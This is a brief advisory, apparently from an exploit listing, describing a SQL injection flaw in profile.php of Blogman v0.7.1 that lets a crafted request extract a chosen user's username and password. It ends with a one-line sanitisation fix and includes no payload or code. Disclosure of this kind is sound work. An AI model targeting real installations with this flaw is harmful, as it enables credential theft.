Blogman v0.7.1 (profile.php) SQL Injection Exploit

Blogman v0.7.1 is vulnerable to a SQL injection vulnerability in the profile.php page. An attacker can exploit this vulnerability by sending a crafted HTTP request with a malicious payload to the vulnerable page. This payload will allow the attacker to extract the username and password of the user with the specified UserID.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.
